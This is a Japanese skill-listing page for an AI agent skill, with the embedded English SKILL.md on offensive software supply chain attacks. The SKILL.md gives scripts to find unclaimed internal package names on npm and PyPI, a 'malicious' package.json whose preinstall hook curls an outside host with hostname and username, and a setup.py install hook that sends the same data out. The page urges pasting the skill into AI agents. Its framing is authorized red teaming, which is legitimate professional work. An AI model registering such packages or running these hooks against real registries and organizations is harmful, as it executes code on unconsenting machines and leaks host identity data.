offensive-supply-chain
できること
このスキルは、依存関係の混乱、タイポスクワッティング、ビルドのフック、CI/CDの改ざん、コンテナのイメージを含む、ソフトウェアのサプライチェーンのリスクをレビューする方法論です。書面による許可のもとで組織のサプライチェーンをテストするセキュリティの専門家向けです。
使う場面
- ✓許可を得た評価で、ソフトウェアのサプライチェーンのリスクをレビューしたいとき。
- ✓ビルドのフックやCI/CDのパイプラインが、改ざんされうるかを確認する必要があるとき。
- ✓見つけたサプライチェーンのリスクについて、安全な概念実証がほしいとき。
スキルのリンク
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/supply-chain/offensive-supply-chain/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“私たちのソフトウェアのサプライチェーンをレビューする許可があります。ロックファイルとビルドのフックにリスクがないか確認してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
このスキルは、成果物から内部のパッケージ名を特定し、エコシステムとリスクの種類を選んで、コールバック付きの安全な概念実証を作ります。その後、管理された方法で、そのリスクが当てはまるかを確認します。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
Offensive Supply Chain Attacks
Software supply chain attacks exploit the trust relationships between developers, package registries, build systems, and deployment pipelines. You target the components and processes that organizations depend on but rarely audit with the same rigor as their own code. A single compromised dependency can propagate across thousands of downstream consumers, making supply chain the highest leverage attack surface in modern software ecosystems.
This skill covers the offensive lifecycle: reconnaissance of internal package names, exploitation of registry resolution logic, build system hook abuse, CI/CD pipeline tampering, and container image supply chain attacks. Every technique maps to authorized red team engagement patterns with safe callback mechanisms.
Quick Workflow
- Enumerate internal package names from target artifacts (lock files, source maps, error messages, GitHub repos).
- Identify the package ecosystem (npm, PyPI, NuGet, Maven, Go, Ruby) and registry configuration.
- Select attack vector: dependency confusion, typosquatting, build hook injection, CI/CD tampering, or container supply chain.
- Prepare a safe proof-of-concept package with DNS canary or HTTP callback -- no destructive payload.
- Register the package on the public registry or stage the artifact for injection.
- Monitor for callback to confirm execution in the target environment.
- Document the attack path, affected systems, and remediation guidance.
Dependency Confusion
Dependency confusion exploits the resolution order when an organization uses both private and public package registries. If the private registry is not configured as the exclusive source, the package manager may prefer a higher-versioned public package over the internal one.
npm Dependency Confusion
When a project references an unscoped private package and the .npmrc does not pin the registry exclusively, npm falls back to the public registry.
# Recon: extract package names from package-lock.json or yarn.lock
cat package-lock.json | jq -r '.dependencies | keys[]' | sort -u > pkg_names.txt
# Check which names are unclaimed on the public npm registry
while read pkg; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg")
if [ "$status" = "404" ]; then
echo "[AVAILABLE] $pkg"
fi
done < pkg_names.txt
// Malicious package.json with high version to win resolution
{
"name": "internal-utils",
"version": "99.0.0",
"scripts": {
"preinstall": "curl https://your-canary.oastify.com/npm-$(hostname)-$(whoami)"
}
}
PyPI Dependency Confusion
Python's pip resolves packages from PyPI by default. When organizations use
--extra-index-url to add a private registry, pip considers both indexes and
selects the highest version.
# Recon: extract internal package names from requirements.txt or setup.cfg
grep -v '^#' requirements.txt | grep -v '^\s*$' | \
sed 's/[>=<].*//' | sed 's/\[.*//' | tr -d ' ' > pypi_names.txt
# Check availability on public PyPI
while read pkg; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json")
if [ "$status" = "404" ]; then
echo "[AVAILABLE] $pkg"
fi
done < pypi_names.txt
# setup.py with install hook for safe callback
from setuptools import setup
from setuptools.command.install import install
import os, socket, urllib.request
class PostInstall(install):
def run(self):
install.run(self)
hostname = socket.gethostname()
user = os.getenv("USER", "unknown")
urllib.request.urlopen(
f"https://your-canary.oastify.com/pypi-{hostname}-{user}"
)
setup(
name="internal-data-lib",
version="99.0.0",
cmdclass={"install": PostInstall},
)
NuGet Feed Priority
NuGet resolves from multiple configured feeds. If a private feed is listed alongside nuget.org, the highest version across all feeds wins.
<!-- nuget.config exposing the vulnerability -->
<configuration>
<packageSources>
<add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
<add key="internal" value="https://pkgs.corp.example.com/nuget/v3/index.json" />
</packageSources>
</configuration>
# Check NuGet public registry for unclaimed names
curl -s "https://api.nuget.org/v3-flatcontainer/corp.internal.auth/index.json" \
| jq '.versions'
# Empty or 404 means the name is available
Automated Scanning with
よくある質問
タイポスクワッティングとは何ですか?
人気のあるパッケージに似た名前のパッケージを登録することで、このスキルは確認すべきリスクとして扱います。
破壊的なペイロードを使いますか?
いいえ。安全なコールバックの仕組みを求め、破壊的なペイロードは使いません。
許可を得たテストだけのためのものですか?
はい。書面による許可のある作業のために書かれています。
詳細
作者による元の説明
Comprehensive offensive methodology for software supply chain attacks covering the full kill chain from reconnaissance through exploitation. Addresses dependency confusion across npm, PyPI, and NuGet ecosystems where internal registry override allows an attacker to inject malicious packages that shadow private dependencies. Covers typosquatting techniques for popular packages, compromised package injection via maintainer account takeover or social engineering, and build system attacks through Makefile injection, setup.py install hooks, and npm postinstall scripts. Extends into CI/CD artifact t
repo: SnailSploit/Claude-Red
人気
- GitHubのスター
- 10k
- ランキング
- #11973
- ライセンス
- MIT
- 更新日
- 2026/10/12
コメント
- …
このリポジトリの他のスキル
offensive-active-directory
10kエージェントが、ネットワークの地図作成から Domain Adminへの攻撃経路の発見まで、許可を得た Active Directoryのセキュリティテストを計画できるよう支援します。
offensive-netexec
10kエージェントが、許可を得たネットワークのテストで、NetExec(nxc)ツールを使えるよう支援します。プロトコル、認証、認証情報の確認を扱います。
offensive-api-abuse
10kエージェントが、ビジネスロジックの悪用、GraphQLのリスク、競合状態を探す、許可を得たAPIのセキュリティテストを計画できるよう支援します。
offensive-api-security
10kエージェントが、OWASP API Top 10に基づき、REST、gRPC、WebSocketのAPIに対して許可を得たセキュリティテストを行えるよう支援します。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。